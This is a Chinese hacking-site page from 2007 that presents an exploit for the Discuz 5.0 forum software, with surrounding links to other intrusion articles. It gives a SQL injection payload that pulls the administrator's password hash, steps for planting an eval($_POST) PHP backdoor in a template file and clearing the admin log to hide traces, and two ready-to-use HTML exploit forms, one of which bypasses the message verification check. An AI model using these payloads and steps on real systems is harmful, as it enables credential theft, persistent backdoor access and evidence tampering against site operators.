·	没有路由密码权限时的鸽	08-23	·	上网安全 Vista自我防范	10-11
·	让濒临崩溃的Windows XP	10-11	·	有备无患，快速自制救急	10-11
·	要你好看!Windows看图工	10-11	·	空间赞助网提供不同类型	10-11
·	讨论net.exe和net1.exe的	10-10	·	让3389远程桌面传输更通	10-10
·	巧妙入侵渗透赌博站	10-10	·	Aspx空间扫权限工具	10-10
·	Windows2003最新提权工具	10-10	·	易淘乐提供100M免费全能	10-10
·	系统开机密码忘了不着急	10-09	·	中意网络提供免费100M免	10-09
·	与众不同 Windows XP开始	10-08	·	让桌面图标翻跟斗在XP上	10-08
·	上海宽元站长资助计划-提	10-08	·	个性化Windows XP的任务	10-07
·	趣盘提供3G免费网络硬盘	10-07	·	秀山热线提供200MB免费全	10-07
·	一次艰辛的提权过程	10-06	·	成功入侵IT大卖场的渗透	10-06
·	mysqlhack- MYSQL利用工	10-06	·	lanker一句话PHP后门客户	10-06
·	WIXI提供3G免费多媒体网	10-06	·	新人网络提供100M/ftp免	10-06
·	如何利用QQ带来高流量	10-05	·	UuShare提供免费网络文件	10-05

[推荐]Discuz 5.0 0day + PM短信饶过方法

热荐 ★★★★★

Discuz 5.0 0day + PM短信饶过方法

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2007-4-9 11:35:22

SQL:
0) union select password,2,0 from cdb_members where uid=1/*
uid=1/* 1
就是ID值

获得管理员md5密码后
进后台
论坛管理模块编辑详情
修改wap.php插入
eval($_POST[tlwbw])
连接地址
网站地址+/templates/default/wap.lang.php

哈哈进过后台别忘了清掉forumdata/cplog.php

利用代码保存为 .html

以下是引用片段：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Dz5.0 0day</TITLE>
<META http-equiv=Content-Type content="text/html; charset=utf-8">
<META content="MSHTML 6.00.3790.2858" name=GENERATOR></HEAD>
<BODY>
<STYLE>BODY {
SCROLLBAR-FACE-COLOR: #e4e4f3; FONT-SIZE: 9pt; SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; SCROLLBAR-SHADOW-COLOR: #e4e4f3; COLOR: #000000; SCROLLBAR-3DLIGHT-COLOR: #e4e4f3; SCROLLBAR-ARROW-COLOR: #4444b3; SCROLLBAR-TRACK-COLOR: #efefef; FONT-FAMILY: "Courier New"; SCROLLBAR-DARKSHADOW-COLOR: #9c9cd3
}
TABLE {
BORDER-RIGHT: #d8d8f0 1px; BORDER-TOP: #d8d8f0 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #d8d8f0 1px solid; BORDER-BOTTOM: #d8d8f0 1px; FONT-FAMILY: "Courier New"; BORDER-COLLAPSE: collapse
}
.tr {
FONT-SIZE: 9pt; FONT-FAMILY: "Courier New"; BACKGROUND-COLOR: #e4e4f3; TEXT-ALIGN: center
}
.td {
FONT-SIZE: 9pt; FONT-FAMILY: "Courier New"; BACKGROUND-COLOR: #f9f9fd
}
.warningColor {
FONT-SIZE: 9pt; COLOR: #ff0000; FONT-FAMILY: "Courier New"
}
INPUT {
BORDER-TOP-WIDTH: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 12px; BORDER-BOTTOM-WIDTH: 1px; COLOR: #000000; FONT-FAMILY: "Courier New"; BORDER-RIGHT-WIDTH: 1px
}
TEXTAREA {
BORDER-TOP-WIDTH: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 12px; BORDER-BOTTOM-WIDTH: 1px; COLOR: #000000; FONT-FAMILY: "Courier New"; BORDER-RIGHT-WIDTH: 1px
}
A:link {
FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none
}
TR {
FONT-SIZE: 9pt; LINE-HEIGHT: 18px; FONT-FAMILY: "Courier New"
}
TD {
BORDER-RIGHT: #d8d8f0 1px solid; BORDER-TOP: #d8d8f0 1px; FONT-SIZE: 9pt; BORDER-LEFT: #d8d8f0 1px; BORDER-BOTTOM: #d8d8f0 1px solid; FONT-FAMILY: "Courier New"
}
.trHead {
FONT-SIZE: 9pt; LINE-HEIGHT: 3px; FONT-FAMILY: "Courier New"; BACKGROUND-COLOR: #e4e4f3
}
.inputLogin {
BORDER-RIGHT: #d8d8f0 1px solid; BORDER-TOP: #d8d8f0 1px solid; FONT-SIZE: 9pt; VERTICAL-ALIGN: bottom; BORDER-LEFT: #d8d8f0 1px solid; BORDER-BOTTOM: #d8d8f0 1px solid; FONT-FAMILY: "Courier New"; BACKGROUND-COLOR: #f9f9fd
}
</STYLE>

<SCRIPT language=JavaScript>

</SCRIPT>

<TABLE cellSpacing=0 cellPadding=0 width=760 align=center border=0>
<FORM method=post>
<TBODY>
<TR>
<TD class=td height=22> Dz5.0 Exp</TD></TR>
<TR>
<TD class=trHead> </TD></TR>
<TR>
<TD class=td height=18>  Url: <INPUT id=theAction
onblur='this.form.the2Action.value=this.form.theAction.value+"/pm.php?action=send&pmsubmit=yes"'
size=50 value=http://www.4evil.org name=theAction><BR><INPUT
id=the2Action type=hidden name=the2Action> Hash: <INPUT
value=0094b488 name=formhash>   Msgto:<INPUT size=10
value=aspxp name=msgto><BR><INPUT type=hidden size=10 value=aa
name=subject><INPUT type=hidden value=aa name=message>  SQL:
<INPUT size=100
value="0) union select password,2,0 from cdb_members where uid=1/*"
name=msgtobuddys[]></TD></TR>
<TR>
<TD class=td align=middle><INPUT onclick=this.form.action=this.form.the2Action.value; type=submit value=" Enter " name=Submit><INPUT type=reset value=" Reset " name=Submit32></TD></TR>
<TR>
<TD class=trHead> </TD></TR>
<TR>
<TD class=td align=right height=22>Just For Fun <A title=QQ:****
href="http://www.****.org">****</A>
2007.3 </TD></TR></FORM></TBODY></TABLE></BODY></HTML>

PM漏洞过短信验证的方法：（来源7贱的BLOG）

<HTML><HEAD><TITLE>discuz</TITLE>
<BODY>
<a href="http://1v1.name">http://1v1.name</a><FORM name=frm method=post target=_blank>Url: <INPUT
size=45 name=act> <INPUT
size=8 name=formhash> <INPUT onclick="Javascipt:action=document.all.act.value+'pm.php?action=send';frm.submit();" type=button value="提交" name=Send><br><br>
MySQL:<INPUT
size=65 value='0) union select password,2,0 from cdb_members where uid=1/*'name=msgtobuddys[]>
<input type="text" name="seccodeverify" size="7">
<INPUT TYPE="hidden" NAME="pmsubmit" value="2">
<input type="hidden" name="subject" value="test">
<input type="hidden" name="message" value="test">
</FORM>
</BODY></HTML>

文章录入：cainiaowang 责任编辑：cainiaowang

上一篇文章： wealink.com跨站

下一篇文章： phpwind 从后台拿webshell的三种方式

【字体：小大】

中介交易区

实例讲解跨站入侵攻防战之攻击篇	05-08
对偶偶娱乐分站服务器的安全检测	04-23
入侵88red系统的详细过程	04-07
对趋势科技等数万网站被攻击的分	03-21
凡人网络购物系统 V8.0 简体中文	03-18
linux平台下渗透日本著名XXXXXX.	03-18
搜索框所引起的XSS漏洞	03-05
跳转漏洞的利用	03-05
对复旦大学的一次漫长渗透	03-03
.net一句话马以及dx论坛拿shell	03-01
php渗透入侵过程图文详解	03-01
DJ网站的入侵详细过程	02-26